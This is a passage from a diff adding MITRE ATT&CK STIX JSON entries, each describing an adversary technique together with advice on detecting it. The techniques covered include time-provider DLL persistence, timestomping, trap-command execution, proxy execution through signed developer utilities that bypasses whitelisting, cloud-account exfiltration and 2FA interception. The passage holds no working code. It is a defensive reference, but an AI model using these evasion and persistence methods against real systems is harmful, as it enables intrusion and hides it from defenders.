SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt. (Citation: Anomali Template Injection MAR 2018) (Citation: Talos Template Injection July 2017) (Citation: ryhanson phishery SEPT 2016)", + "id": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534", + "modified": "2019-07-18T18:50:25.451Z", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "attack-pattern", + "x_mitre_detection": "Analyze process behavior to determine if an Office application is performing actions, such as opening network connections, reading files, spawning abnormal child processes (ex: [PowerShell](https://attack.mitre.org/techniques/T1086)), or other suspicious actions that could relate to post-compromise behavior.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Patrick Campbell, @pjcampbe11" + ], + "created": "2018-10-17T00:14:20.652Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "external_references": [ + { + "external_id": "T1221", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1221" + }, + { + "source_name": "Microsoft Open XML July 2017", + "description": "Microsoft. (2014, July 9). Introducing the Office (2007) Open XML File Formats. Retrieved July 20, 2018.", + "url": "https://docs.microsoft.com/previous-versions/office/developer/office-2007/aa338205(v=office.12)" + }, + { + "description": "Wiltse, B.. (2018, November 7). Template Injection Attacks - Bypassing Security Controls by Living off the Land. Retrieved April 10, 2019.", + "source_name": "SANS Brian Wiltse Template Injection", + "url": "https://www.sans.org/reading-room/whitepapers/testing/template-injection-attacks-bypassing-security-controls-living-land-38780" + }, + { + "source_name": "Redxorblue Remote Template Injection", + "description": "Hawkins, J. (2018, July 18). Executing Macros From a DOCX With Remote Template Injection. Retrieved October 12, 2018.", + "url": "http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html" + }, + { + "source_name": "MalwareBytes Template Injection OCT 2017", + "description": "Segura, J. (2017, October 13). Decoy Microsoft Word document delivers malware through a RAT. Retrieved July 21, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/" + }, + { + "source_name": "Anomali Template Injection MAR 2018", + "description": "Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.", + "url": "https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104" + }, + { + "source_name": "Talos Template Injection July 2017", + "description": "Baird, S. et al.. (2017, July 7). Attack on Critical Infrastructure Leverages Template Injection. Retrieved July 21, 2018.", + "url": "https://blog.talosintelligence.com/2017/07/template-injection.html" + }, + { + "source_name": "ryhanson phishery SEPT 2016", + "description": "Hanson, R. (2016, September 24). phishery. Retrieved July 21, 2018.", + "url": "https://github.com/ryhanson/phishery" + } + ], + "x_mitre_defense_bypassed": [ + "Static File Analysis" + ] + }, + { + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Third-party application logs", + "Windows Registry", + "Process monitoring", + "Process use of network", + "Binary file metadata" + ], + "name": "Third-party Software", + "description": "Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.). If an adversary gains access to these systems, then they may be able to execute code.\n\nAdversaries may gain access to and use third-party systems installed within an enterprise network, such as administration, monitoring, and deployment systems as well as third-party gateways and jump servers used for managing other systems. Access to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose.", + "x_mitre_remote_support": true, + "id": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "attack-pattern", + "x_mitre_detection": "Detection methods will vary depending on the type of third-party software or system and how it is typically used. \n\nThe same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \n\nOften these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Ensure that third-party application logs are on-boarded to the enterprise logging system and the logs are regularly reviewed. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious.\n\nPerform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Shane Tully, @securitygypsy" + ], + "created": "2017-05-31T21:30:57.201Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "external_references": [ + { + "external_id": "T1072", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1072" + } + ], + "modified": "2019-07-18T21:34:47.137Z" + }, + { + "x_mitre_data_sources": [ + "API monitoring", + "Binary file metadata", + "DLL monitoring", + "File monitoring", + "Loaded DLLs", + "Process monitoring" + ], + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "name": "Time Providers", + "description": "The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)", + "id": "attack-pattern--dce31a00-1e90-4655-b0f9-e2e71a748a87", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility. (Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk. (Citation: Github W32Time Oct 2017)\n\nThe Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers. (Citation: TechNet Autoruns)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Scott Lundgren, @5twenty9, Carbon Black" + ], + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "external_id": "T1209", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1209" + }, + { + "source_name": "Microsoft W32Time Feb 2018", + "description": "Microsoft. (2018, February 1). Windows Time Service (W32Time). Retrieved March 26, 2018.", + "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top" + }, + { + "source_name": "Microsoft TimeProvider", + "description": "Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx" + }, + { + "source_name": "Github W32Time Oct 2017", + "description": "Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018.", + "url": "https://github.com/scottlundgren/w32time" + }, + { + "source_name": "Microsoft W32Time May 2017", + "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.", + "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ], + "modified": "2019-07-17T21:51:10.433Z" + }, + { + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "name": "Timestomp", + "description": "Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)", + "id": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a", + "modified": "2019-10-18T13:53:44.332Z", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "attack-pattern", + "x_mitre_detection": "Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Romain Dumont, ESET" + ], + "created": "2017-05-31T21:31:12.675Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "external_references": [ + { + "external_id": "T1099", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1099" + }, + { + "source_name": "WindowsIR Anti-Forensic Techniques", + "description": "Carvey, H. (2013, July 23). HowTo: Determine/Detect the use of Anti-Forensics Techniques. Retrieved June 3, 2016.", + "url": "http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html" + } + ], + "x_mitre_defense_bypassed": [ + "Host forensic analysis" + ] + }, + { + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_data_sources": [ + "Stackdriver logs", + "Azure activity logs", + "AWS CloudTrail logs" + ], + "name": "Transfer Data to Cloud Account", + "description": "An adversary may exfiltrate data by transferring the data, including backups of cloud environments, to another cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection.\n\nA defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.\n\nIncidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018) ", + "id": "attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6", + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_platforms": [ + "Azure", + "AWS", + "GCP" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor account activity for attempts to share data, snapshots, or backups with untrusted or unusual accounts on the same cloud service provider. Monitor for anomalous file transfer activity between accounts and to untrusted VPCs. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_network_requirements": true, + "created": "2019-08-30T13:03:04.038Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1537", + "url": "https://attack.mitre.org/techniques/T1537" + }, + { + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "source_name": "DOJ GRU Indictment Jul 2018", + "url": "https://www.justice.gov/file/1080281/download" + } + ], + "modified": "2019-10-23T14:26:32.962Z" + }, + { + "x_mitre_data_sources": [ + "Packet capture", + "Network protocol analysis" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator", + "root", + "SYSTEM" + ], + "name": "Transmitted Data Manipulation", + "description": "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", + "id": "attack-pattern--cc1e737c-236c-4e3b-83ba-32039a626ef8", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_impact_type": [ + "Integrity" + ], + "type": "attack-pattern", + "x_mitre_detection": "Detecting the manipulation of data as at passes over a network can be difficult without the appropriate tools. In some cases integrity verification checks, such as file hashing, may be used on critical files as they transit a network. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-09T16:08:20.824Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1493", + "url": "https://attack.mitre.org/techniques/T1493" + }, + { + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "url": "https://content.fireeye.com/apt/rpt-apt38" + }, + { + "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.", + "source_name": "DOJ Lazarus Sony 2018", + "url": "https://www.justice.gov/opa/press-release/file/1092091/download" + } + ], + "modified": "2019-06-20T16:56:29.277Z" + }, + { + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "name": "Trap", + "description": "The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)", + "x_mitre_remote_support": false, + "id": "attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "attack-pattern", + "x_mitre_detection": "Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "external_id": "T1154", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1154" + }, + { + "description": "ss64. (n.d.). trap. Retrieved May 21, 2019.", + "source_name": "Trap Manual", + "url": "https://ss64.com/bash/trap.html" + }, + { + "description": "Cyberciti. (2016, March 29). Trap statement. Retrieved May 21, 2019.", + "source_name": "Cyberciti Trap Statements", + "url": "https://bash.cyberciti.biz/guide/Trap_statement" + } + ], + "modified": "2019-05-21T13:46:15.452Z" + }, + { + "x_mitre_data_sources": [ + "Process monitoring" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Trusted Developer Utilities", + "description": "There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application whitelisting defensive solutions.\n\n### MSBuild\n\nMSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It takes XML formatted project files that define requirements for building various platforms and configurations. (Citation: MSDN MSBuild) \n\nAdversaries can use MSBuild to proxy execution of code through a trusted Windows utility. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into the XML project file. (Citation: MSDN MSBuild) Inline Tasks MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution. (Citation: LOLBAS Msbuild)\n\n### DNX\n\nThe .NET Execution Environment (DNX), dnx.exe, is a software development kit packaged with Visual Studio Enterprise. It was retired in favor of .NET Core CLI in 2016. (Citation: Microsoft Migrating from DNX) DNX is not present on standard builds of Windows and may only be present on developer workstations using older versions of .NET Core and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft. \n\nAn adversary can use dnx.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for DNX. (Citation: engima0x3 DNX Bypass)\n\n### RCSI\n\nThe rcsi.exe utility is a non-interactive command-line interface for C# that is similar to csi.exe. It was provided within an early version of the Roslyn .NET Compiler Platform but has since been deprecated for an integrated solution. (Citation: Microsoft Roslyn CPT RCSI) The rcsi.exe binary is signed by Microsoft. (Citation: engima0x3 RCSI Bypass)\n\nC# .csx script files can be written and executed with rcsi.exe at the command-line. An adversary can use rcsi.exe to proxy execution of arbitrary code to bypass application whitelisting policies that do not account for execution of rcsi.exe. (Citation: engima0x3 RCSI Bypass)\n\n### WinDbg/CDB\n\nWinDbg is a Microsoft Windows kernel and user-mode debugging utility. The Microsoft Console Debugger (CDB) cdb.exe is also user-mode debugger. Both utilities are included in Windows software development kits and can be used as standalone tools. (Citation: Microsoft Debugging Tools for Windows) They are commonly used in software development and reverse engineering and may not be found on typical Windows systems. Both WinDbg.exe and cdb.exe binaries are signed by Microsoft.\n\nAn adversary can use WinDbg.exe and cdb.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for execution of those utilities. (Citation: Exploit Monday WinDbg)\n\nIt is likely possible to use other debuggers for similar purposes, such as the kernel-mode debugger kd.exe, which is also signed by Microsoft.\n\n### Tracker\n\nThe file tracker utility, tracker.exe, is included with the .NET framework as part of MSBuild. It is used for logging calls to the Windows file system. (Citation: Microsoft Docs File Tracking)\n\nAn adversary can use tracker.exe to proxy execution of an arbitrary DLL into another process. Since tracker.exe is also signed it can be used to bypass application whitelisting solutions. (Citation: LOLBAS Tracker)", + "x_mitre_remote_support": false, + "id": "attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b", + "modified": "2019-07-31T19:44:19.300Z", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "x_mitre_system_requirements": [ + "MSBuild: .NET Framework version 4 or higher\nDNX: .NET 4.5.2, Powershell 4.0\nRCSI: .NET 4.5 or later, Visual Studio 2012" + ], + "type": "attack-pattern", + "x_mitre_detection": "The presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.\n\nUse process monitoring to monitor the execution and arguments of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Casey Smith", + "Matthew Demaske, Adaptforward" + ], + "created": "2017-05-31T21:31:39.262Z", + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1127", + "url": "https://attack.mitre.org/techniques/T1127" + }, + { + "source_name": "MSDN MSBuild", + "description": "Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016.", + "url": "https://msdn.microsoft.com/library/dd393574.aspx" + }, + { + "description": "LOLBAS. (n.d.). Msbuild.exe. Retrieved July 31, 2019.", + "source_name": "LOLBAS Msbuild", + "url": "https://lolbas-project.github.io/lolbas/Binaries/Msbuild/" + }, + { + "source_name": "Microsoft Migrating from DNX", + "description": "Knezevic, Z., Wenzel, M. Latham, L. (2016, June 20). Migrating from DNX to .NET Core CLI (project.json). Retrieved June 28, 2017.", + "url": "https://docs.microsoft.com/en-us/dotnet/core/migration/from-dnx" + }, + { + "source_name": "engima0x3 DNX Bypass", + "description": "Nelson, M. (2017, November 17). Bypassing Application Whitelisting By Using dnx.exe. Retrieved May 25, 2017.", + "url": "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/" + }, + { + "source_name": "Microsoft Roslyn CPT RCSI", + "description": "Osenkov, K. (2011, October 19). Introducing the Microsoft \u201cRoslyn\u201d CTP. Retrieved June 28, 2017.", + "url": "https://blogs.msdn.microsoft.com/visualstudio/2011/10/19/introducing-the-microsoft-roslyn-ctp/" + }, + { + "source_name": "engima0x3 RCSI Bypass", + "description": "Nelson, M. (2016, November 21). Bypassing Application Whitelisting By Using rcsi.exe. Retrieved May 26, 2017.", + "url": "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/" + }, + { + "source_name": "Microsoft Debugging Tools for Windows", + "description": "Marshall, D. (2017, May 23). Debugging Tools for Windows (WinDbg, KD, CDB, NTSD). Retrieved June 29, 2017.", + "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/index" + }, + { + "source_name": "Exploit Monday WinDbg", + "description": "Graeber, M. (2016, August 15). Bypassing Application Whitelisting by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017.", + "url": "http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html" + }, + { + "source_name": "Microsoft Docs File Tracking", + "description": "B, M., Brown, K., Cai, S., Hogenson, G., Warren, G. (2016, November 4). File Tracking. Retrieved November 1, 2017.", + "url": "https://docs.microsoft.com/visualstudio/msbuild/file-tracking" + }, + { + "description": "LOLBAS. (n.d.). Tracker.exe. Retrieved July 31, 2019.", + "source_name": "LOLBAS Tracker", + "url": "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/" + } + ], + "x_mitre_defense_bypassed": [ + "Application whitelisting" + ] + }, + { + "x_mitre_data_sources": [ + "Azure activity logs", + "Stackdriver logs", + "AWS CloudTrail logs", + "Application logs", + "Authentication logs", + "Third-party application logs" + ], + "name": "Trusted Relationship", + "description": "Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.\n\nOrganizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.", + "id": "attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS", + "AWS", + "GCP", + "Azure", + "SaaS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2.0", + "type": "attack-pattern", + "x_mitre_detection": "Establish monitoring for activity conducted by second and third party providers and other trusted entities that may be leveraged as a means to gain access to the network. Depending on the type of relationship, an adversary may have access to significant amounts of information about the target before conducting an operation, especially if the trusted relationship is based on IT services. Adversaries may be able to act quickly towards an objective, so proper monitoring for behavior related to Credential Access, Lateral Movement, and Collection will be important to detect the intrusion.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Praetorian" + ], + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "external_references": [ + { + "external_id": "T1199", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1199" + } + ], + "modified": "2019-10-11T15:20:53.687Z" + }, + { + "x_mitre_data_sources": [ + "API monitoring", + "Process monitoring", + "Kernel drivers" + ], + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "name": "Two-Factor Authentication Interception", + "description": "Use of two- or multifactor authentication is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. Adversaries may target authentication mechanisms, such as smart cards, to gain access to systems, services, and network resources.\n\nIf a smart card is used for two-factor authentication (2FA), then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)\n\nOther methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)", + "id": "attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_system_requirements": [ + "Smart card Proxy: Use of smart cards for single or multifactor authentication to access to network resources. Attached smart card reader with card inserted.\n\nOut-of-band one-time code: Access to the device, service, or communications to intercept the one-time code.\n\nHardware token: Access to the seed and algorithm of generating one-time codes." + ], + "type": "attack-pattern", + "x_mitre_detection": "Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.\n\nSimilar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver, setting a hook, or usage of particular API calls associated with polling to intercept keystrokes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "John Lambert, Microsoft Threat Intelligence Center" + ], + "created": "2017-05-31T21:31:23.195Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "external_references": [ + { + "external_id": "T1111", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1111" + }, + { + "source_name": "Mandiant M Trends 2011", + "description": "Mandiant. (2011, January 27). Mandiant M-Trends 2011. Retrieved January 10, 2016.", + "url": "https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf" + }, + { + "source_name": "GCN RSA June 2011", + "description": "Jackson, William. (2011, June 7). RSA confirms its tokens used in Lockheed hack. Retrieved September 24, 2018.", + "url": "https://gcn.com/articles/2011/06/07/rsa-confirms-tokens-used-to-hack-lockheed.aspx" + }, + { + "description": "Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016.", + "source_name": "Operation Emmental", + "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf" + } + ], + "modified": "2019-06-21T16:38:57.913Z" + }, + { + "x_mitre_data_sources": [ + "Netflow/Enclave netflow", + "Process use of network", + "Process monitoring" + ], + "name": "Uncommonly Used Port", + "description": "Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.", + "id": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_network_requirements": true, + "created": 